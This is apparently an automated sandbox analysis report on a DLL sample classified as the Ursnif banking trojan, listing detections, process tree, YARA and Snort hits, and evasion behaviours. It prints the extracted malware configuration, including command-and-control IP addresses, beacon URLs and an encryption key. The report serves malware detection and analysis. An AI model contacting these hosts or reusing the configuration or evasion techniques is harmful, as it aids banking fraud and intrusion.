Edit tour

Windows Analysis Report
BJp3aUvrt9

Overview

General Information

Sample Name:	BJp3aUvrt9 (renamed file extension from none to dll)
Analysis ID:	628121
MD5:	9046f78804227bd742d558325fa8f4c0
SHA1:	37ddabb88b909290e1da368f275448a880887482
SHA256:	e34af6effb596517e32ddf82fb283e8b844ec34d373f4e04e93e9916d26c287d
Tags:	dll
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Found API chain indicative of debugger detection

Machine Learning detection for sample

Found evasive API chain (may stop execution after checking system information)

Writes registry values via WMI

Uses 32bit PE files

One or more processes crash

Uses code obfuscation techniques (call, push, ret)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

PE file contains strange resources

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6424 cmdline: loaddll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 6452 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6472 cmdline: rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 6532 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 388 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6604 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 396 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6800 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 424 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "uFHdIp1dwWhvkEA2yTiBbeuMW6YDB1lsKD5xr+wbKQpSTgCxKW/AXnU7L/HiYIBOAaOvelJb2/pY2jRw/FTeNeGEktAn4DWXMKOPXXT0NA64cjWTlmZ01c3ZQu3caOM/Vp3zMRoE3uvOCFkw5pB9m5AVXCHf7c66rMBTCpzNlB06TLav0Zslv7QoNXagpBRObC3w6aRV9zoEMPsKo8dDtjcXrpjT3cmo/nK2BeLeCRHw4m+Z1wNt/QFKG0JSvLN7KWGp2TqLTGCk8sWmJopJGBcCeH8dEEcUduFFgdi8Cilu/K4cd0diqylW1QdRW2VJSAgt/TyNLQ8XGjESLVVFp5dI5rtAU8yovXe+vZ9IsF8=", "c2_domain": ["config.edge.skype.com", "185.189.151.28", "185.189.151.70"], "botnet": "3000", "server": "50", "serpent_key": "noA8W2qeaw7z6wk9", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.364421717.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.364070986.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.364312063.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.364235828.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.364148388.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.364394991.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.364278031.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.364350159.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000002.785582568.00000000051A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000002.785174567.00000000049C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 6472	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.rundll32.exe.8f0000.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.10f0000.1.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.49c94a0.2.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
2.2.rundll32.exe.49c94a0.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.3 - Destination IP: 13.107.42.16

Timestamp:	192.168.2.313.107.42.1649754802033203 05/17/22-11:01:06.002753
SID:	2033203
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.2.rundll32.exe.8f0000.0.unpack

Malware Configuration Extractor: Ursnif {"RSA Public Key": "uFHdIp1dwWhvkEA2yTiBbeuMW6YDB1lsKD5xr+wbKQpSTgCxKW/AXnU7L/HiYIBOAaOvelJb2/pY2jRw/FTeNeGEktAn4DWXMKOPXXT0NA64cjWTlmZ01c3ZQu3caOM/Vp3zMRoE3uvOCFkw5pB9m5AVXCHf7c66rMBTCpzNlB06TLav0Zslv7QoNXagpBRObC3w6aRV9zoEMPsKo8dDtjcXrpjT3cmo/nK2BeLeCRHw4m+Z1wNt/QFKG0JSvLN7KWGp2TqLTGCk8sWmJopJGBcCeH8dEEcUduFFgdi8Cilu/K4cd0diqylW1QdRW2VJSAgt/TyNLQ8XGjESLVVFp5dI5rtAU8yovXe+vZ9IsF8=", "c2_domain": ["config.edge.skype.com", "185.189.151.28", "185.189.151.70"], "botnet": "3000", "server": "50", "serpent_key": "noA8W2qeaw7z6wk9", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Multi AV Scanner detection for submitted file

Source: BJp3aUvrt9.dll

ReversingLabs: Detection: 31%

Antivirus detection for URL or domain

Source: http://185.189.151.28/	Avira URL Cloud: Label: malware
Source: http://185.189.151.28/drew/Gno4E_2Fz/JYCqWA_2FqMmY1RZwoiB/wugIArNn94bFR0HD9u1/3DvnzuRELDO66MgbIMgnTX	Avira URL Cloud: Label: malware
Source: http://185.189.151.70/?	Avira URL Cloud: Label: malware
Source: http://185.189.151.70/	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: BJp3aUvrt9.dll

Joe Sandbox ML: detected

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_010F5FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

2_2_010F5FBB

Source: BJp3aUvrt9.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source:

Binary string: uwGXyM.pdb source: loaddll32.exe, 00000000.00000000.262732571.000000000085D000.00000002.00000001.01000000.00000003.sdmp, BJp3aUvrt9.dll

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.189.151.28 80			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.189.151.70 80			Jump to behavior

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49754 -> 13.107.42.16:80

Source: global traffic	TCP traffic: 192.168.2.3:49755 -> 185.189.151.28:80
Source: global traffic	TCP traffic: 192.168.2.3:49825 -> 185.189.151.70:80

Source: Joe Sandbox View

ASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH

Source: Joe Sandbox View

IP Address: 185.189.151.28 185.189.151.28

Source: unknown	TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown	TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown	TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown	TCP traffic detected without corresponding DNS query: 185.189.151.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.189.151.70
Source: unknown	TCP traffic detected without corresponding DNS query: 185.189.151.70

Source: rundll32.exe, 00000002.00000002.784882231.00000000010DC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.18
Source: rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.189.151.28/
Source: rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.189.151.28/drew/Gno4E_2Fz/JYCqWA_2FqMmY1RZwoiB/wugIArNn94bFR0HD9u1/3DvnzuRELDO66MgbIMgnTX
Source: rundll32.exe, 00000002.00000002.784646579.0000000000A49000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.189.151.70/
Source: rundll32.exe, 00000002.00000002.784730150.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.189.151.70/?
Source: rundll32.exe, 00000002.00000002.784646579.0000000000A49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.189.151.70/drew/1TloxXPDggvUU7SO132dXHA/UogwcX8C6t/D9_2FjX0SVQAwUvNJ/ygMnY8n2kRf7/6ETlzT9
Source: rundll32.exe, 00000002.00000002.784646579.0000000000A49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://config.edge.skype.com/drew/qzdAP1F4C_/2FVSRXifD6LesfvXQ/eiTPfMcJsPzH/EhN9_2BOs9N/TNtCRj3BFJm7

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_010F1CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError,

2_2_010F1CA5

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

Source: Yara match	File source: 00000002.00000003.364421717.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364070986.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364312063.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364235828.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364148388.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364394991.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364278031.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364350159.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.785582568.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: 2.2.rundll32.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.785174567.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud

Yara detected Ursnif

Source: Yara match	File source: 00000002.00000003.364421717.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364070986.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364312063.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364235828.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364148388.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364394991.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364278031.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364350159.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.785582568.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: 2.2.rundll32.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.785174567.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_010F5FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

2_2_010F5FBB

System Summary

Writes registry values via WMI

Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: BJp3aUvrt9.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 388

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008F2274	2_2_008F2274
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010F4BF1	2_2_010F4BF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010F1645	2_2_010F1645
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010F829C	2_2_010F829C

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008F1308 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,GetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,	2_2_008F1308
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008F1000 GetProcAddress,NtCreateSection,memset,	2_2_008F1000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008F2067 NtMapViewOfSection,	2_2_008F2067
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008F2495 NtQueryVirtualMemory,	2_2_008F2495
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010F4321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	2_2_010F4321
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010F84C1 NtQueryVirtualMemory,	2_2_010F84C1

Source: BJp3aUvrt9.dll

Binary or memory string: OriginalFilenamemyfile.exe$ vs BJp3aUvrt9.dll

Source: BJp3aUvrt9.dll

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: BJp3aUvrt9.dll

ReversingLabs: Detection: 31%

Source: BJp3aUvrt9.dll

Static PE information: Section: .text IMAGE_SCN_TYPE_NO_PAD, IMAGE_SCN_MEM_FARDATA, IMAGE_SCN_TYPE_GROUP, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_PROTECTED, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_LNK_OVER, IMAGE_SCN_TYPE_COPY, IMAGE_SCN_CNT_CODE, IMAGE_SCN_LNK_COMDAT, IMAGE_SCN_GPREL, IMAGE_SCN_NO_DEFER_SPEC_EXC, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 388
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 396
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6424 -s 424
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD7E.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@8/12@0/2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_010F68BD CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

2_2_010F68BD

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\BJp3aUvrt9.dll",#1

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6424

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source:

Binary string: uwGXyM.pdb source: loaddll32.exe, 00000000.00000000.262732571.000000000085D000.00000002.00000001.01000000.00000003.sdmp, BJp3aUvrt9.dll

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008F2210 push ecx; ret	2_2_008F2219
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008F2263 push ecx; ret	2_2_008F2273
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010F828B push ecx; ret	2_2_010F829B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_010F7EA0 push ecx; ret	2_2_010F7EA9

Source: BJp3aUvrt9.dll

Static PE information: section name: .erloc

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_008F15E3 LoadLibraryA,GetProcAddress,

2_2_008F15E3

Source: BJp3aUvrt9.dll

Static PE information: real checksum: 0x79835 should be: 0x6caa0

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Source: Yara match	File source: 00000002.00000003.364421717.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364070986.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364312063.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364235828.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364148388.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364394991.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364278031.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.364350159.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.785582568.00000000051A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: 2.2.rundll32.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.49c94a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.785174567.00000000049C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
